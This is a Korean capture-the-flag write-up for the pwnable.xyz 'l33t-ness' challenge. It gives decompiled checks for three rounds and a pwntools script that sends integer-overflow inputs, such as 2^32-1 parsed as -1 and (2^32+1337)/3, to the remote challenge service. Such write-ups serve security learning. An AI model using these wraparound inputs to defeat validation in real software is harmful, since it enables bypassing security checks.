[pwnable.xyz]l33t-ness

3단계로 걸쳐서 스테이지 통과하면 플래그를 내뿜는 바이너리다.

round1에서는 x,y입력받아서 atoi로 정수로 변환해주고 x,y가 각각 1336보다 작아야하는데 x-y를 1337로 만들라고한다.

그래서 v1에는 1336을 넣고 v2에는 -1을 넣어주면 되는데 strchr로 -가 포함되는지 검사하는데 마침 int형이라 -(-1) 만들어주면 된다. 아니면 v1을 다른 방법으로는 x에 0을 넣고 y에는 2^32+(2^32-1337) 이렇게 넣어주면 -1337이 되서 1337로 통과할 수 있다.

_BOOL8 round_1()
{
  _BOOL8 result; // rax
  int v1; // [rsp+8h] [rbp-38h]
  int v2; // [rsp+Ch] [rbp-34h]
  char s; // [rsp+10h] [rbp-30h]
  __int64 v4; // [rsp+20h] [rbp-20h]
  unsigned __int64 v5; // [rsp+38h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  puts("=== 1eet ===");
  memset(&s, 0, 0x20uLL);
  printf("x: ", 0LL);
  read(0, &s, 16uLL);
  printf("y: ", &s);
  read(0, &v4, 16uLL);
  if ( strchr(&s, '-') || strchr(&v4, '-') )
    return 0LL;
  v1 = atoi(&s);
  v2 = atoi(&v4);
  if ( v1 <= 1336 && v2 <= 1336 )
    result = v1 - v2 == 1337;
  else
    result = 0LL;
  return result;
}

round2 푸는데 좀 더 오래걸려있다. v1은 1초과여야하고 v2는 1337초과여야한다. 근데 곱을 1337로 만들어야한다.

우선 v2가 1337 이상이여야한다. 그러면 2^32+1337으로 값을 맞춰주고 나누어 떨어지는 값을 곱하면 1337이 되는 원리를 사용하면 된다. 2^32+1337는 3으로 나누어떨어진다. 그러면 v1에 3을 넣고 v2에는 (2^32+1337)/3을 넣어서 곱하면 1337이 된다. 그 외에도 9로도 나누어떨어진다. 그러면 v1에는 9를 넣고 v2에는 (2^32+1337)/9를 넣어서 풀 수도 있다.

_BOOL8 round_2()
{
  int v1; // [rsp+0h] [rbp-10h]
  int v2; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("=== t00leet ===");
  v1 = 0;
  v2 = 0;
  _isoc99_scanf("%d %d", &v1, &v2);
  return v1 > 1 && v2 > 1337 && v1 * v2 == 1337;
}

round3는 너무 쉬워서 딱히 할말 없다. 다 곱한값이랑 다 더한 값이랑 같으면 된다. 그냥 0으로 다 싹 밀어주면 통과할 수 있다.

_BOOL8 round_3()
{
  signed int i; // [rsp+0h] [rbp-30h]
  __int64 v2; // [rsp+10h] [rbp-20h]
  __int64 v3; // [rsp+18h] [rbp-18h]
  int v4; // [rsp+20h] [rbp-10h]
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  puts("=== 3leet ===");
  v2 = 0LL;
  v3 = 0LL;
  v4 = 0;
  _isoc99_scanf("%d %d %d %d %d", &v2, &v2 + 4);
  for ( i = 1; i <= 4; ++i )
  {
    if ( *(&v2 + i) < *(&v2 + i - 1) )
      return 0LL;
  }
  return HIDWORD(v3) + v3 + HIDWORD(v2) + v2 + v4 == HIDWORD(v3) * v3 * HIDWORD(v2) * v2 * v4;
}

exploit.py

from pwn import *

context.log_level = 'debug'
e = ELF('./challenge')
#p = process('./challenge')
p = remote('svc.pwnable.xyz',30008)

#p.sendlineafter('x:','0') # 0
#p.sendlineafter('y:',str(0xffffffff+(0xffffffff-1335))) # 8589933255
p.sendlineafter('x:','1336') 
p.sendlineafter('y:',str(2**32-1))
p.sendlineafter('=== t00leet ===\n','3 ' + str((2**32+1337)/3))
#p.sendlineafter('=== t00leet ===\n','9 ' + str((2**32+1337)/9))
p.sendlineafter('=== 3leet ===\n','0 0 0 0 0')

# 0 8589933255
# 3 1431656211
# 0 0 0 0 0

p.interactive()